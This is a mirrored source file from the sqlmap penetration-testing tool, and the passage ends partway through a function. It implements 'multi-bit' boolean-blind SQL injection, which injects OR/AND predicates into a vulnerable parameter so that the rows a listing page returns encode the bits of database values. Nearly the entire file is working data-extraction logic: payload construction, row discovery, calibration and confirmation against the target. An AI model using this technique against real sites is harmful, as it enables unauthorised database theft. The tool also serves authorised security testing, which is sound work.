mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2026-10-12 02:22:55 +00:00
944 lines
37 KiB
Python
944 lines
37 KiB
Python
#!/usr/bin/env python
|
|
|
|
"""
|
|
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
|
See the file 'LICENSE' for copying permission
|
|
"""
|
|
|
|
"""
|
|
Multi-bit blind inference ("row multiplexing"), used on demand ('--multi-bit').
|
|
|
|
Classic boolean-based blind reads ONE bit per request, because the oracle in comparison.py reduces a
|
|
response to True/False. On a listing page the response actually carries more: WHICH rows came back.
|
|
By making row N of the rendered query appear iff bit N of the target value is set, a single response
|
|
carries a whole bit vector - 8 bits per character, so several characters per request instead of eight
|
|
requests per character.
|
|
|
|
The switch is the permission: widening the result set with OR is what makes one response carry whole
|
|
characters, and that is a risk-3 operation in sqlmap's own policy (every "OR boolean-based blind" test
|
|
in boolean_blind.xml is <risk>3</risk>). Without it nothing here runs, and hint() merely says so once
|
|
on a target that would benefit.
|
|
|
|
The payload keeps the value expression exactly ONCE: the row identifier itself computes both the
|
|
character offset and the bit index (see the per-DBMS <bitmap> atom in queries.xml). Emitting one term
|
|
per bit instead would produce multi-kilobyte payloads that no real target accepts.
|
|
|
|
Correctness does NOT rest on the channel being clean. Every extracted value is proven back against
|
|
the target before it is returned (length plus chunk-wise equality, see _confirm), a canary row tells
|
|
an empty answer apart from a junk response, and any doubt returns None so that bisection() proceeds
|
|
untouched.
|
|
"""
|
|
|
|
import logging
|
|
import re
|
|
import time
|
|
|
|
from lib.core.agent import agent
|
|
from lib.core.common import Backend
|
|
from lib.core.common import dataToStdout
|
|
from lib.core.common import decodeIntToUnicode
|
|
from lib.core.common import filterControlChars
|
|
from lib.core.common import getTechnique
|
|
from lib.core.common import incrementCounter
|
|
from lib.core.common import isTechniqueAvailable
|
|
from lib.core.common import randomInt
|
|
from lib.core.common import setTechnique
|
|
from lib.core.common import singleTimeLogMessage
|
|
from lib.core.common import singleTimeWarnMessage
|
|
from lib.core.data import conf
|
|
from lib.core.data import kb
|
|
from lib.core.data import logger
|
|
from lib.core.data import queries
|
|
from lib.core.enums import PAYLOAD
|
|
from lib.core.settings import MAX_MULTIBIT_LENGTH
|
|
from lib.core.settings import MAX_MULTIBIT_PAGE
|
|
from lib.core.settings import MULTIBIT_BITS_PER_CHAR
|
|
from lib.core.settings import MULTIBIT_CALIBRATION_ROUNDS
|
|
from lib.core.settings import MULTIBIT_CANDIDATE_COLUMNS
|
|
from lib.core.settings import MULTIBIT_CONFIRM_CHUNK
|
|
from lib.core.settings import MULTIBIT_MAX_FAILURES
|
|
from lib.core.settings import MULTIBIT_MAX_PLANES
|
|
from lib.core.settings import MULTIBIT_MIN_BITS
|
|
from lib.core.settings import MULTIBIT_NARROW
|
|
from lib.core.settings import MULTIBIT_PLANES
|
|
from lib.core.settings import MULTIBIT_SAMPLES
|
|
from lib.core.settings import MULTIBIT_WIDEN
|
|
from lib.core.settings import MULTIBIT_WIDEN_RISK
|
|
from lib.core.threads import getCurrentThreadData
|
|
from lib.core.threads import runThreads
|
|
from lib.core.unescaper import unescaper
|
|
from lib.request.connect import Connect as Request
|
|
from lib.utils.xrange import xrange
|
|
|
|
try:
|
|
from lib.utils import sgmllib
|
|
except ImportError:
|
|
sgmllib = None
|
|
|
|
_TOKEN = re.compile(r'href="[^"]+"|[A-Za-z][A-Za-z0-9_\-]{3,}')
|
|
|
|
# row identity as real listing pages expose it:
|
|
# /product.php?id=12 (?id=12, &pid=12)
|
|
# data-id='12' (data attribute)
|
|
# /product/12 (path segment)
|
|
# <input name='product_id' value='12'> (form field, either attribute order)
|
|
_QUERY = re.compile(r'[?&]([A-Za-z_][A-Za-z0-9_]*)=["\']?(\d{1,9})(?!\d)')
|
|
_DATA = re.compile(r'\bdata-([A-Za-z_][A-Za-z0-9_]*)=["\']?(\d{1,9})(?!\d)')
|
|
_PATH = re.compile(r'/([A-Za-z_][A-Za-z0-9_]*)/(\d{1,9})(?!\d)')
|
|
_INPUT = re.compile(r'<input\b[^>]*>', re.I)
|
|
_INAME = re.compile(r'\bname\s*=\s*["\']?([A-Za-z_][A-Za-z0-9_]*)', re.I)
|
|
_IVALUE = re.compile(r'\bvalue\s*=\s*["\']?(\d{1,9})(?!\d)', re.I)
|
|
|
|
# page regions whose content is site chrome, not the result set: a nav menu, a currency switcher or a
|
|
# language picker repeats structurally just like rows do, so nothing inside these proves anything
|
|
_CHROME = frozenset(("head", "header", "nav", "footer", "aside", "script", "style", "noscript", "template"))
|
|
|
|
class _StructureParser(sgmllib.SGMLParser if sgmllib else object):
|
|
"""
|
|
One pass over a page, collecting repeated sibling elements outside the site chrome.
|
|
|
|
The tell-tale of a listing is REPEATED MARKUP: one row template stamped N times, so the same tag
|
|
with the same attribute names appears N times under the same parent. Chrome repeats too, which
|
|
is why header/nav/footer subtrees are excluded - only repeated structure in the page's own
|
|
content can be the result set.
|
|
"""
|
|
|
|
def __init__(self):
|
|
if sgmllib:
|
|
sgmllib.SGMLParser.__init__(self)
|
|
|
|
self._open = []
|
|
self.groups = {}
|
|
|
|
def unknown_starttag(self, tag, attrs):
|
|
self._open.append(tag)
|
|
|
|
if not any(_ in _CHROME for _ in self._open[:-1]):
|
|
parent = self._open[-2] if len(self._open) > 1 else None
|
|
names = tuple(sorted(name for name, _ in attrs))
|
|
self.groups.setdefault((parent, tag, names), []).append(attrs)
|
|
|
|
def unknown_endtag(self, tag):
|
|
if tag in self._open:
|
|
while self._open and self._open[-1] != tag:
|
|
self._open.pop()
|
|
|
|
if self._open:
|
|
self._open.pop()
|
|
|
|
def _debug(message):
|
|
logger.debug("multi-bit: %s" % message)
|
|
|
|
def _page(expression, mode):
|
|
"""
|
|
Runs an arbitrary boolean expression and returns the raw body.
|
|
|
|
Two ways to attach it, and the difference is not cosmetic:
|
|
|
|
WIDEN - "... OR (predicate)" against a negated value, which makes the whole table addressable
|
|
and the channel wide enough for several characters per request. It can also make an
|
|
injected UPDATE/DELETE touch rows it otherwise would not, which is why every OR test
|
|
in boundaries is risk 3 - and why this is what the switch buys.
|
|
NARROW - "... AND (predicate)" on the live value. Can only ever REMOVE rows, so the channel is
|
|
as wide as the rows the page already shows. The fallback for a result set no OR can
|
|
widen (a fixed filter in a subquery the payload cannot escape).
|
|
"""
|
|
|
|
if mode == MULTIBIT_WIDEN:
|
|
payload = agent.payload(newValue=agent.suffixQuery(agent.prefixQuery("OR (%s)" % expression)), where=PAYLOAD.WHERE.NEGATIVE)
|
|
else:
|
|
payload = agent.payload(newValue=agent.suffixQuery(agent.prefixQuery("AND (%s)" % expression)), where=PAYLOAD.WHERE.ORIGINAL)
|
|
|
|
page, _, _ = Request.queryPage(payload, content=True, raise404=False, silent=True)
|
|
incrementCounter(getTechnique())
|
|
|
|
return page or ""
|
|
|
|
def _tokens(expression, mode):
|
|
return set(_TOKEN.findall(_page(expression, mode)))
|
|
|
|
def _stable(expression, mode, samples=MULTIBIT_SAMPLES):
|
|
"""Tokens present in EVERY sample - drops per-response junk (CSRF, timestamps, ads, request ids)."""
|
|
|
|
retVal = None
|
|
|
|
for _ in range(samples):
|
|
current = _tokens(expression, mode)
|
|
retVal = current if retVal is None else (retVal & current)
|
|
|
|
if not retVal:
|
|
break
|
|
|
|
return retVal or set()
|
|
|
|
def _bitcol(column, base, bit):
|
|
"""Predicate 'bit `bit` of (column - base) is set', used to address rows in bulk."""
|
|
|
|
return queries[Backend.getIdentifiedDbms()].bitcol.query % ("(%s-%d)" % (column, base), bit)
|
|
|
|
def _join(*expressions):
|
|
return " AND ".join("(%s)" % _ for _ in expressions if _)
|
|
|
|
def _window(column, low, high):
|
|
return "%s BETWEEN %d AND %d" % (column, low, high)
|
|
|
|
def _extract(page):
|
|
"""
|
|
Yields (name, value) identifier pairs from the page's repeated content markup.
|
|
|
|
Only elements that REPEAT structurally count - a listing is one row template stamped N times, so
|
|
its identifiers sit inside elements whose tag, attribute names and parent tag recur. A single
|
|
element proves nothing, and the site chrome (nav menus, switchers, scripts) is excluded outright:
|
|
a single-row page is thus ruled out from the page alone, for free.
|
|
"""
|
|
|
|
if not page:
|
|
return
|
|
|
|
if sgmllib is None:
|
|
# no parser available (very new Python): the identifier forms alone, wherever they appear
|
|
for key, value in _QUERY.findall(page) + _DATA.findall(page) + _PATH.findall(page):
|
|
yield key, int(value)
|
|
|
|
for tag in _INPUT.findall(page):
|
|
name, value = _INAME.search(tag), _IVALUE.search(tag)
|
|
|
|
if name and value:
|
|
yield name.group(1), int(value.group(1))
|
|
|
|
return
|
|
|
|
parser = _StructureParser()
|
|
|
|
try:
|
|
parser.feed(page[:MAX_MULTIBIT_PAGE])
|
|
parser.close()
|
|
except Exception:
|
|
return
|
|
|
|
for (_, tag, _), members in parser.groups.items():
|
|
if len(members) < 2:
|
|
continue
|
|
|
|
for attrs in members:
|
|
if tag == "input":
|
|
name = next((value for key, value in attrs if key == "name"), "")
|
|
value = next((value for key, value in attrs if key == "value"), "")
|
|
|
|
if name and value.isdigit() and len(value) <= 9:
|
|
yield name, int(value)
|
|
else:
|
|
for key, value in attrs:
|
|
if key == "href":
|
|
for name, digit in _QUERY.findall(value) + _PATH.findall(value):
|
|
yield name, int(digit)
|
|
elif key.startswith("data-") and len(key) > 5 and value.isdigit() and len(value) <= 9:
|
|
yield key[5:], int(value)
|
|
|
|
def _identifiers(page):
|
|
"""
|
|
Row identifiers a response exposes, as real listing pages do it.
|
|
|
|
A row identifier VARIES within one response; one that does not is page furniture (or the injected
|
|
parameter reflected back), whatever it happens to be called.
|
|
"""
|
|
|
|
retVal = {}
|
|
|
|
for name, value in _extract(page):
|
|
retVal.setdefault(name, set()).add(value)
|
|
|
|
return dict((_, retVal[_]) for _ in retVal if len(retVal[_]) > 1)
|
|
|
|
def _discover(mode):
|
|
"""
|
|
Finds a per-row discriminator column and the markers identifying each row.
|
|
|
|
Cheap stages first, so a hopeless parameter costs a handful of requests instead of a linear scan:
|
|
|
|
1. viability - a probe against an empty one, plus a smaller range that must show strictly fewer
|
|
rows. A page that cannot show fewer rows when asked for fewer (pagination, truncation, a
|
|
cache serving one body) is rejected here, before anything expensive is paid for.
|
|
2. mapping - row identities are resolved by BIT PLANE: request k selects every row whose
|
|
offset from the base has bit k set, so a handful of requests place all of them. Probing
|
|
identifiers one at a time would cost one request each.
|
|
"""
|
|
|
|
if not queries[Backend.getIdentifiedDbms()].bitcol.query:
|
|
_debug("no <bitcol> atom for %s" % Backend.getIdentifiedDbms())
|
|
return None
|
|
|
|
spread = {}
|
|
|
|
# The page as the target itself serves it already lists row identifiers, and sqlmap has kept it
|
|
# since the stability check - so the candidates cost nothing. Only when it yields none is it
|
|
# worth asking for more rows (which, on a big table, is a big response).
|
|
for candidate in (kb.originalPage,) + (None,) * MULTIBIT_SAMPLES:
|
|
spread = _identifiers(candidate if candidate is not None else _page("1=1", mode))
|
|
|
|
if spread:
|
|
break
|
|
|
|
if not spread:
|
|
_debug("no row identifiers rendered in the response")
|
|
return None
|
|
|
|
empty = _stable("1=2", mode)
|
|
|
|
for column in sorted(spread, key=lambda _: len(spread[_]), reverse=True)[:MULTIBIT_CANDIDATE_COLUMNS]:
|
|
retVal = (_widen if mode == MULTIBIT_WIDEN else _narrow)(column, spread[column], empty, mode)
|
|
|
|
if retVal:
|
|
retVal.update(column=column, mode=mode)
|
|
return retVal
|
|
|
|
return None
|
|
|
|
def _narrow(column, known, empty, mode):
|
|
"""
|
|
The channel the page already carries: its OWN rows, addressed by name. Identifiers are whatever
|
|
the markup showed - they need not be consecutive, because the payload maps each one to a bit
|
|
through a CASE rather than through arithmetic.
|
|
"""
|
|
|
|
base = min(known) - 1
|
|
pool = _stable("1=1", mode) - empty
|
|
|
|
if len(pool) < MULTIBIT_MIN_BITS + 1:
|
|
_debug("column '%s' exposes too little per-row content (%d markers)" % (column, len(pool)))
|
|
return None
|
|
|
|
# asking for the lower half of the identifiers must show strictly fewer rows
|
|
inside = sorted(known)
|
|
fewer = _stable(_window(column, base, (inside[0] + inside[-1]) // 2), mode) & pool
|
|
|
|
if not (fewer < pool):
|
|
_debug("column '%s' shows the same rows for fewer identifiers (truncation/cache)" % column)
|
|
return None
|
|
|
|
count = min(MULTIBIT_MAX_PLANES, max(1, (max(known) - base).bit_length()))
|
|
rows = _place(_planes(column, base, mode, None, pool, count), pool, base, known)
|
|
order = sorted(rows)
|
|
|
|
if len(order) < MULTIBIT_MIN_BITS + 1:
|
|
_debug("column '%s' yields only %d usable rows on the page" % (column, len(order)))
|
|
return None
|
|
|
|
# one row is the canary (selected regardless of the data), the rest carry bits
|
|
return {"rows": rows, "canary": order[-1], "keys": order[:-1][:MULTIBIT_BITS_PER_CHAR], "perCall": 1}
|
|
|
|
def _widen(column, known, empty, mode):
|
|
"""
|
|
The whole table, addressed by a window of consecutive identifiers so that one compact payload can
|
|
carry several characters: the identifier itself computes both the character offset and the bit.
|
|
"""
|
|
|
|
span = 1 << MULTIBIT_PLANES
|
|
|
|
# Centre the window on the identifiers the page itself renders, so tables that do not start at 1
|
|
# (or at all) are still reachable. Offsets are counted from base = low - 1 so that they start at
|
|
# ONE: an offset of zero sets no bit in any plane, which is indistinguishable from a marker that
|
|
# went missing, and it would cost the first row of every window.
|
|
low = max(1, min(known) - span // 2)
|
|
base = low - 1
|
|
high = base + span - 1
|
|
window = _window(column, low, high)
|
|
|
|
pool = _stable(window, mode) - empty
|
|
|
|
if len(pool) < MULTIBIT_BITS_PER_CHAR + 1:
|
|
_debug("column '%s' exposes too little per-row content (%d markers)" % (column, len(pool)))
|
|
return None
|
|
|
|
# Asking for a range that leaves out an identifier known to exist must show strictly fewer rows.
|
|
# The cut is anchored on real identifiers CLIPPED TO THE WINDOW - halving the window proves
|
|
# nothing on a table smaller than it (15 products list the same for 1..64 as for 1..128), and
|
|
# halving the identifiers proves nothing on a table larger than it (with ids up to 1000 the
|
|
# "smaller" range would be wider than the window itself).
|
|
inside = sorted(_ for _ in known if low <= _ <= high) or sorted(known)
|
|
fewer = _stable(_window(column, low, (inside[0] + inside[-1]) // 2), mode) & pool
|
|
|
|
if not (fewer < pool):
|
|
_debug("column '%s' shows the same rows for a smaller range (pagination/truncation/cache)" % column)
|
|
return None
|
|
|
|
rows = _place(_planes(column, base, mode, window, pool, MULTIBIT_PLANES), pool, base, None)
|
|
|
|
# the payload derives char offset and bit index from (id - base), so ids must be consecutive
|
|
run = _longestRun(rows)
|
|
|
|
if len(run) < MULTIBIT_BITS_PER_CHAR + 1:
|
|
_debug("column '%s' yields only %d consecutive usable rows" % (column, len(run)))
|
|
return None
|
|
|
|
canary = run.pop() # unconditionally selected on every read
|
|
|
|
while len(run) % MULTIBIT_BITS_PER_CHAR: # whole characters only
|
|
run.pop()
|
|
|
|
return {"rows": dict((_, rows[_]) for _ in run + [canary]), "canary": canary,
|
|
"keys": run, "base": run[0], "perCall": len(run) // MULTIBIT_BITS_PER_CHAR}
|
|
|
|
def _planes(column, base, mode, restrict, pool, count):
|
|
"""
|
|
The bit planes of the row identifiers: plane k holds the markers of every row whose offset from
|
|
the base has bit k set, so `count` requests place up to 2**count rows.
|
|
|
|
An empty plane ABOVE every non-empty one simply means the identifiers do not reach that far. An
|
|
empty one BELOW them is a bad response, and re-probing it is far cheaper than letting it shift
|
|
every identifier by that bit.
|
|
"""
|
|
|
|
def probe(bit):
|
|
return _tokens(_join(restrict, _bitcol(column, base, bit)), mode) & pool
|
|
|
|
retVal = [probe(_) for _ in range(count)]
|
|
top = max([_ for _ in range(count) if retVal[_]] or [0])
|
|
|
|
for bit in range(top):
|
|
if not retVal[bit]:
|
|
retVal[bit] = probe(bit)
|
|
|
|
return retVal
|
|
|
|
def _place(planes, pool, base, known):
|
|
"""Turns the bit planes into 'row identifier -> the markers that identify only that row'."""
|
|
|
|
useful = [_ for _ in planes if _]
|
|
|
|
# Markers common to every plane that selected anything carry no identity - they are the shared
|
|
# row markup ("item", "class", ...). Intersecting ALL the planes instead would remove nothing
|
|
# when the high planes are empty for want of rows, and the markup would then be placed at a row
|
|
# identifier that does not exist (and, being the last one, would be picked as the canary).
|
|
pool = pool - (set.intersection(*useful) if useful else pool)
|
|
|
|
identity = {}
|
|
|
|
for token in pool:
|
|
value = 0
|
|
|
|
for bit in range(len(planes)):
|
|
if token in planes[bit]:
|
|
value |= 1 << bit
|
|
|
|
if value: # a marker in no plane at all is junk, not a row
|
|
identity.setdefault(base + value, set()).add(token)
|
|
|
|
if known: # only identifiers the markup really showed
|
|
identity = dict((_, identity[_]) for _ in identity if _ in known)
|
|
|
|
return _exclusive(identity)
|
|
|
|
def _exclusive(identity):
|
|
"""Keeps only markers that identify ONE row - shared markup is worthless as a bit."""
|
|
|
|
retVal = {}
|
|
|
|
for rid, tokens in identity.items():
|
|
others = set()
|
|
|
|
for other, more in identity.items():
|
|
if other != rid:
|
|
others |= more
|
|
|
|
unique = tokens - others
|
|
|
|
if unique:
|
|
retVal[rid] = unique
|
|
|
|
return retVal
|
|
|
|
def _longestRun(rows):
|
|
"""The payload derives char offset and bit index from (id - base), so ids must be consecutive."""
|
|
|
|
best, run = [], []
|
|
|
|
for k in sorted(rows):
|
|
run = (run + [k]) if (run and k == run[-1] + 1) else [k]
|
|
|
|
if len(run) > len(best):
|
|
best = list(run)
|
|
|
|
return best
|
|
|
|
def _selected(profile, expression):
|
|
"""One request -> the set of bit rows the target selected. None when the response itself was junk."""
|
|
|
|
rows, canary = profile["rows"], profile["canary"]
|
|
|
|
# the canary is OR-ed INSIDE the predicate, so even in narrow mode the result set stays a subset
|
|
# of the page's own rows
|
|
observed = _tokens("(%s) OR %s=%d" % (expression, profile["column"], canary), profile["mode"])
|
|
|
|
if not rows[canary] & observed:
|
|
return None # canary missing -> gateway error, interstitial, ...
|
|
|
|
return set(_ for _ in profile["keys"] if rows[_] & observed)
|
|
|
|
def _calibrate(profile):
|
|
"""
|
|
Proves superposition at FULL read width: tokens(A union B) == tokens(A) union tokens(B). This is
|
|
the gate that rejects paginated, truncated and deduplicating pages, where selecting extra rows
|
|
pushes others out. Subsets are expressed with the same compact bit arithmetic the reader uses, so
|
|
the calibration payload is the size of a real one.
|
|
"""
|
|
|
|
column, keys = profile["column"], profile["keys"]
|
|
base = keys[0] - 1
|
|
planes = max(1, (keys[-1] - base).bit_length())
|
|
everything = " OR ".join("%s=%d" % (column, _) for _ in keys)
|
|
|
|
# every row at once (the read-width test), then no row at all - the latter proves the canary is a
|
|
# real row rather than shared markup that merely follows "some row was rendered"
|
|
rounds = [(everything, set(keys)), ("%s AND NOT (%s)" % (_bitcol(column, base, 0), _bitcol(column, base, 0)), set())]
|
|
|
|
for _ in range(MULTIBIT_CALIBRATION_ROUNDS):
|
|
i, j = randomInt() % planes, randomInt() % planes
|
|
negate = bool(randomInt() % 2)
|
|
expression = "%s AND %s(%s)" % (_bitcol(column, base, i), "NOT " if negate else "", _bitcol(column, base, j))
|
|
expected = set(_ for _ in keys if ((_ - base) >> i) & 1 and (bool(((_ - base) >> j) & 1) != negate))
|
|
rounds.append((expression, expected))
|
|
|
|
for expression, expected in rounds:
|
|
observed = _selected(profile, expression)
|
|
|
|
if observed is None or observed != expected:
|
|
_debug("superposition failed (%d rows expected, %s observed)" % (len(expected), "junk" if observed is None else len(observed)))
|
|
return False
|
|
|
|
return True
|
|
|
|
def _read(profile, expression, position, count):
|
|
"""
|
|
One request -> `count` characters in widen mode; one character (in as many requests as the page
|
|
has bit rows) in narrow mode. Returns a list of ordinals (0 marks end of value), or None when a
|
|
response itself was junk (told apart by the canary row, selected regardless of the data).
|
|
"""
|
|
|
|
if profile["mode"] == MULTIBIT_WIDEN:
|
|
return _readWide(profile, expression, position, count)
|
|
|
|
column, keys = profile["column"], profile["keys"]
|
|
bitchar = queries[Backend.getIdentifiedDbms()].bitchar.query
|
|
|
|
# the row identifiers need not be consecutive here, so a CASE maps each one to the bit it carries
|
|
# - the value expression itself still appears exactly once
|
|
choice = "CASE %s%s END" % (column, "".join(" WHEN %d THEN %d" % (_, index) for index, _ in enumerate(keys)))
|
|
value = 0
|
|
|
|
for offset in range(0, MULTIBIT_BITS_PER_CHAR, len(keys)):
|
|
observed = _selected(profile, bitchar % (expression, position, "%s+%d" % (choice, offset) if offset else choice))
|
|
|
|
if observed is None:
|
|
return None
|
|
|
|
for index, key in enumerate(keys):
|
|
if offset + index < MULTIBIT_BITS_PER_CHAR and key in observed:
|
|
value |= 1 << (offset + index)
|
|
|
|
return [value]
|
|
|
|
def _readWide(profile, expression, position, count):
|
|
column, base, keys = profile["column"], profile["base"], profile["keys"]
|
|
bits = MULTIBIT_BITS_PER_CHAR
|
|
top = base + count * bits - 1
|
|
|
|
# 1+FLOOR((id-shifted)/bits) == position+FLOOR((id-base)/bits); parenthesized because it goes
|
|
# negative past the first window (and "id--40" would start a comment)
|
|
shifted = "(%d)" % (base - bits * (position - 1))
|
|
bitmap = queries[Backend.getIdentifiedDbms()].bitmap.query % (expression, column, shifted, bits, column, shifted, bits)
|
|
observed = _selected(profile, _join(_window(column, base, top), bitmap))
|
|
|
|
if observed is None:
|
|
return None
|
|
|
|
retVal = []
|
|
|
|
for c in range(count):
|
|
value = 0
|
|
|
|
for b in range(bits):
|
|
if keys[c * bits + b] in observed:
|
|
value |= 1 << b
|
|
|
|
retVal.append(value)
|
|
|
|
return retVal
|
|
|
|
def _ask(profile, predicate):
|
|
"""One request -> one bit, over the row channel (so it inherits the canary's junk detection)."""
|
|
|
|
marker = profile["keys"][0]
|
|
observed = _selected(profile, "%s=%d AND (%s)" % (profile["column"], marker, predicate))
|
|
|
|
return None if observed is None else (marker in observed)
|
|
|
|
def _confirm(profile, expression, value, length):
|
|
"""
|
|
Proves the WHOLE extracted value back against the target: its length, then equality chunk by
|
|
chunk. This is what makes the technique safe on hostile pages - a junk response, a dropped row or
|
|
a character the 8-bit channel cannot carry all end up as a mismatch here, never as output.
|
|
|
|
True when proven, False when the channel is at fault, None when THIS value simply cannot be
|
|
proven (nothing wrong with the channel, so it must not count against it).
|
|
"""
|
|
|
|
dbms = Backend.getIdentifiedDbms()
|
|
|
|
# A channel that drops rows reads zero bits and stops early, so the LENGTH is what implicates it.
|
|
# A character mismatch at the right length is about this value instead - 8 bits per character
|
|
# cannot reproduce every ordinal a DBMS may return (a multi-byte code, a codepoint above 255
|
|
# whose low byte still looks like ASCII), and that must not count against a working channel.
|
|
if length is None:
|
|
if _ask(profile, "%s=%d" % (queries[dbms].length.query % ("(%s)" % expression), len(value))) is not True:
|
|
_debug("length of the extracted value did not confirm")
|
|
return False
|
|
elif length != len(value):
|
|
_debug("extracted %d characters, expected %d" % (len(value), length))
|
|
return False
|
|
|
|
for offset in range(0, len(value), MULTIBIT_CONFIRM_CHUNK):
|
|
chunk = value[offset:offset + MULTIBIT_CONFIRM_CHUNK]
|
|
escaped = unescaper.escape("'%s'" % chunk.replace("'", "''"))
|
|
|
|
if "'" in escaped and not conf.noEscape:
|
|
# the DBMS-specific escaper stood down (e.g. EXCLUDE_UNESCAPE matched the data itself), so
|
|
# the literal would enter the payload quoted and could break the boundary
|
|
_debug("chunk at offset %d could not be escaped" % offset)
|
|
return None
|
|
|
|
if _ask(profile, "(%s)=%s" % (queries[dbms].substring.query % ("(%s)" % expression, offset + 1, len(chunk)), escaped)) is not True:
|
|
_debug("chunk at offset %d did not confirm" % offset)
|
|
return None
|
|
|
|
return True
|
|
|
|
def _usable(charsetType, partial):
|
|
"""The single-bit paths own everything multi-bit cannot reproduce exactly."""
|
|
|
|
if not conf.multiBit or partial:
|
|
return False # opt-in only, and a resumed value starts mid-string
|
|
|
|
if getTechnique() != PAYLOAD.TECHNIQUE.BOOLEAN or kb.nullConnection:
|
|
return False
|
|
|
|
if conf.firstChar or conf.lastChar or charsetType is not None or kb.data.get("processChar"):
|
|
return False # range-limited / restricted-charset / post-processed output
|
|
|
|
if not kb.injection or not kb.injection.parameter:
|
|
return False
|
|
|
|
return _atoms()
|
|
|
|
def _atoms():
|
|
"""Whether the fingerprinted back-end has the bit arithmetic the channel is built from."""
|
|
|
|
try:
|
|
return bool(queries[Backend.getIdentifiedDbms()].bitchar.query and queries[Backend.getIdentifiedDbms()].bitcol.query)
|
|
except Exception:
|
|
return False
|
|
|
|
def _verbose():
|
|
"""Whether bisection is drawing the value on an open "retrieved: " line right now."""
|
|
|
|
return conf.verbose in (1, 2) and not any((conf.eta, conf.api, kb.bruteMode, kb.multiThreadMode))
|
|
|
|
def _finish(profile, key):
|
|
"""Stores the discovered channel and reports what it measured."""
|
|
|
|
profile.update(key=key, verified=False, attempts=0, failures=0)
|
|
kb.multibit[key] = profile
|
|
|
|
if profile["mode"] == MULTIBIT_WIDEN:
|
|
width = "%d character%s" % (profile["perCall"], "s" if profile["perCall"] > 1 else "")
|
|
else:
|
|
width = "%d bits" % len(profile["keys"])
|
|
|
|
logger.info("parameter '%s' carries a multi-bit channel (%s, %d rows, %s per request)" % (kb.injection.parameter, profile["mode"], len(profile["rows"]), width))
|
|
|
|
return profile
|
|
|
|
def hint():
|
|
"""
|
|
Says the one thing worth saying about multi-bit on this target, at most once and NOT ONE REQUEST:
|
|
the page sqlmap already kept from the stability check is the whole evidence. Without the switch
|
|
that is a nudge towards it, with the switch it is the back-end that cannot carry it. Either way
|
|
only when boolean-based blind is the channel the run would use anyway (an in-band one is faster
|
|
than any row channel). Purely advisory, never raises.
|
|
"""
|
|
|
|
try:
|
|
if kb.multibitHinted:
|
|
return
|
|
|
|
kb.multibitHinted = True
|
|
|
|
if not isTechniqueAvailable(PAYLOAD.TECHNIQUE.BOOLEAN) or kb.nullConnection:
|
|
return
|
|
|
|
if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR)):
|
|
return
|
|
|
|
if conf.multiBit:
|
|
if not _atoms():
|
|
singleTimeWarnMessage("switch '--multi-bit' is not supported for %s" % Backend.getIdentifiedDbms())
|
|
|
|
return
|
|
|
|
rows = max([len(_) for _ in _identifiers(kb.originalPage).values()] or [0])
|
|
|
|
if rows > MULTIBIT_MIN_BITS and _atoms():
|
|
singleTimeLogMessage("target renders %d rows that a single response could carry data in. You can try switch "
|
|
"'--multi-bit' to read several characters per request instead of one bit. Though "
|
|
"it widens the result set with OR payloads, as '--risk=%d' does" % (rows, MULTIBIT_WIDEN_RISK), level=logging.INFO)
|
|
except Exception:
|
|
pass
|
|
|
|
def _verify(profile, expression, bisectChar):
|
|
"""
|
|
Cross-checks the channel against the trusted single-bit oracle, once per injection point.
|
|
|
|
Deliberately separate from discovery: the check reads the first character of whatever value
|
|
happens to come first, and an empty or non-ASCII one settles nothing. Such a value defers the
|
|
check to the next one instead of condemning a channel that calibrated cleanly.
|
|
"""
|
|
|
|
profile["attempts"] += 1
|
|
getCurrentThreadData().shared.value = "" # getChar() reads it, and bisection only seeds it further down
|
|
reference = bisectChar(1)
|
|
probe = _read(profile, expression, 1, 1)
|
|
|
|
if probe is None or not reference or ord(reference) > 127:
|
|
_debug("first character of this value cannot settle the cross-check, deferring")
|
|
elif decodeIntToUnicode(probe[0]) == reference:
|
|
profile["verified"] = True
|
|
return True
|
|
else:
|
|
_debug("first character disagreed with the boolean oracle (%r vs %r)" % (probe, reference))
|
|
profile["attempts"] = MULTIBIT_MAX_FAILURES # a real disagreement, not an unlucky value
|
|
|
|
if profile["attempts"] >= MULTIBIT_MAX_FAILURES:
|
|
_debug("channel abandoned, the boolean oracle never confirmed it")
|
|
kb.multibit[profile["key"]] = False
|
|
|
|
return False
|
|
|
|
def _profile(expression, bisectChar):
|
|
"""Discovers and calibrates the channel ONCE per injection point, then has it cross-checked."""
|
|
|
|
key = "%s|%s|%s|%s" % (conf.hostname or "", conf.path or "", kb.injection.place or "", kb.injection.parameter)
|
|
profile = kb.multibit.get(key)
|
|
|
|
if profile is False:
|
|
return None
|
|
|
|
if profile is None:
|
|
kb.multibit[key] = False # pessimistic: any exit below leaves it latched off
|
|
|
|
# The switch is the permission, so the whole table is fair game: the wide channel reads several
|
|
# characters per request, the page's own rows only as many bits as it renders.
|
|
for mode in (MULTIBIT_WIDEN, MULTIBIT_NARROW):
|
|
profile = _discover(mode)
|
|
|
|
if profile and _calibrate(profile):
|
|
break
|
|
|
|
profile = None
|
|
|
|
if not profile:
|
|
_debug("no usable row channel on this parameter") # quiet: bisection carries on below
|
|
return None
|
|
|
|
if _verbose():
|
|
dataToStdout("\n") # bisection has already printed "retrieved: "
|
|
|
|
profile = _finish(profile, key)
|
|
|
|
if _verbose():
|
|
dataToStdout("[%s] [INFO] retrieved: " % time.strftime("%X"))
|
|
|
|
if not profile["verified"] and not _verify(profile, expression, bisectChar):
|
|
return None
|
|
|
|
return profile
|
|
|
|
def _readChunk(profile, expression, position, count):
|
|
"""
|
|
One read of `count` characters, with a single retry - a transient junk response (a gateway error,
|
|
an interstitial) must not cost the whole value.
|
|
"""
|
|
|
|
try:
|
|
retVal = _read(profile, expression, position, count)
|
|
|
|
return retVal if retVal is not None else _read(profile, expression, position, count)
|
|
except Exception as ex:
|
|
_debug("read at position %d failed (%s)" % (position, ex))
|
|
|
|
return None
|
|
|
|
def _chunks(length, perCall):
|
|
"""(position, count) pairs covering the whole value, or None while its length is unknown."""
|
|
|
|
if not (isinstance(length, int) and length > 0):
|
|
return None
|
|
|
|
return [(1 + _, min(perCall, length - _)) for _ in xrange(0, length, perCall)]
|
|
|
|
def _serial(profile, expression, chunks, perCall):
|
|
"""
|
|
Chunk after chunk. Without a known length this is the only way, since the value ends where the
|
|
channel reads a zero ordinal.
|
|
"""
|
|
|
|
retVal, done = u"", False
|
|
|
|
